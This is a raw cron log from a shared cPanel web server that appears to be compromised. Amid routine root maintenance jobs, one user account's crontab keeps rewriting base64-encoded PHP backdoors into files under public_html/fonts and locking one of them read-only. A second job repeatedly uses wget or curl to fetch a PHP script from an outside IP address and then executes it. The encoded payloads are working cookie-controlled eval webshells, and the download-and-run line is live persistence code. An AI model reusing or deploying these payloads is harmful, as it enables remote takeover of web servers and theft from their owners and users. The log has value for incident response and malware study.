Sep 21 11:55:01 ip-184-168-122-23 CROND[26728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:55:01 ip-184-168-122-23 CROND[26732]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 11:55:01 ip-184-168-122-23 CROND[26734]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 11:56:01 ip-184-168-122-23 CROND[26967]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:56:01 ip-184-168-122-23 CROND[26970]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:56:01 ip-184-168-122-23 CROND[26971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:56:01 ip-184-168-122-23 CROND[26973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:56:01 ip-184-168-122-23 CROND[26972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:57:01 ip-184-168-122-23 CROND[27236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:57:01 ip-184-168-122-23 CROND[27237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:57:01 ip-184-168-122-23 CROND[27240]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:57:01 ip-184-168-122-23 CROND[27243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:58:01 ip-184-168-122-23 CROND[27378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:58:01 ip-184-168-122-23 CROND[27379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:58:01 ip-184-168-122-23 CROND[27380]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:58:01 ip-184-168-122-23 CROND[27381]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:58:01 ip-184-168-122-23 CROND[27383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:59:01 ip-184-168-122-23 CROND[27494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:59:01 ip-184-168-122-23 CROND[27495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:59:01 ip-184-168-122-23 CROND[27498]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:59:01 ip-184-168-122-23 CROND[27500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:00:01 ip-184-168-122-23 CROND[27764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:00:01 ip-184-168-122-23 CROND[27769]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 21 12:00:01 ip-184-168-122-23 CROND[27770]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 12:00:01 ip-184-168-122-23 CROND[27771]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:00:01 ip-184-168-122-23 CROND[27772]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:00:01 ip-184-168-122-23 CROND[27774]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 12:00:01 ip-184-168-122-23 CROND[27776]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Sep 21 12:00:01 ip-184-168-122-23 CROND[27778]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 12:00:01 ip-184-168-122-23 CROND[27782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:00:01 ip-184-168-122-23 CROND[27780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:01:01 ip-184-168-122-23 CROND[27952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:01:01 ip-184-168-122-23 CROND[27954]: (root) CMD (run-parts /etc/cron.hourly)
Sep 21 12:01:01 ip-184-168-122-23 CROND[27958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:01:01 ip-184-168-122-23 CROND[27956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:01:01 ip-184-168-122-23 CROND[27960]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 12:01:01 ip-184-168-122-23 CROND[27957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[27954]: starting 0anacron
Sep 21 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[27975]: finished 0anacron
Sep 21 12:02:01 ip-184-168-122-23 CROND[28095]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:02:01 ip-184-168-122-23 CROND[28096]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:02:01 ip-184-168-122-23 CROND[28098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:02:01 ip-184-168-122-23 CROND[28097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:02:01 ip-184-168-122-23 CROND[28100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:03:01 ip-184-168-122-23 CROND[28229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:03:01 ip-184-168-122-23 CROND[28232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:03:01 ip-184-168-122-23 CROND[28231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:03:01 ip-184-168-122-23 CROND[28233]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:04:01 ip-184-168-122-23 CROND[28363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:04:01 ip-184-168-122-23 CROND[28367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:04:01 ip-184-168-122-23 CROND[28365]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:04:01 ip-184-168-122-23 CROND[28366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:04:01 ip-184-168-122-23 CROND[28368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:05:01 ip-184-168-122-23 CROND[28597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:05:01 ip-184-168-122-23 CROND[28598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:05:01 ip-184-168-122-23 CROND[28601]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 12:05:01 ip-184-168-122-23 CROND[28602]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:05:01 ip-184-168-122-23 CROND[28600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:05:01 ip-184-168-122-23 CROND[28603]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 12:05:01 ip-184-168-122-23 CROND[28608]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 12:06:01 ip-184-168-122-23 CROND[28832]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:06:01 ip-184-168-122-23 CROND[28833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:06:01 ip-184-168-122-23 CROND[28831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:06:01 ip-184-168-122-23 CROND[28834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:06:01 ip-184-168-122-23 CROND[28835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:07:01 ip-184-168-122-23 CROND[28948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
